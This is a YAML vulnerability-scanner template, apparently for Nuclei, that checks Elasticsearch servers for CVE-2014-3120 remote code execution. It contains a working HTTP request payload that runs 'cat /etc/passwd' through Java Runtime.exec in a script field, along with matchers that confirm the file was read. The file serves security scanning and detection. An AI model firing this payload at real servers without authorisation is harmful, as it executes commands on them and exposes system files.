64 lines
1.9 KiB
YAML
64 lines
1.9 KiB
YAML
id: CVE-2014-3120
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info:
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name: ElasticSearch v1.1.1/1.2 RCE
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author: pikpikcu
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severity: critical
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description: |
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The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to _search. Be aware this only violates the vendor's intended security policy if the user does not run Elasticsearch in its own independent virtual machine.
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reference:
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- https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120
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- https://www.elastic.co/blog/logstash-1-4-3-released
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- https://nvd.nist.gov/vuln/detail/CVE-2014-3120
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- http://bouk.co/blog/elasticsearch-rce/
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10.0
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cwe-id: CWE-77
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cve-id: CVE-2014-3120
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tags: rce,elasticsearch,kev,vulhub,cve,cve2014,elastic
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metadata:
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max-request: 1
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http:
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- raw:
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- |
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POST /_search?pretty HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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Accept-Language: en
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Content-Type: application/x-www-form-urlencoded
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{
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"size": 1,
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"query": {
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"filtered": {
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"query": {
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"match_all": {
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}
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}
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}
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},
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"script_fields": {
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"command": {
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"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/passwd\").getInputStream()).useDelimiter(\"\\\\A\").next();"
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}
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}
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}
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matchers-condition: and
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matchers:
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- type: word
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words:
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- "application/json"
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part: header
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- type: regex
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regex:
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- "root:.*:0:0:"
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part: body
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- type: status
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status:
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- 200
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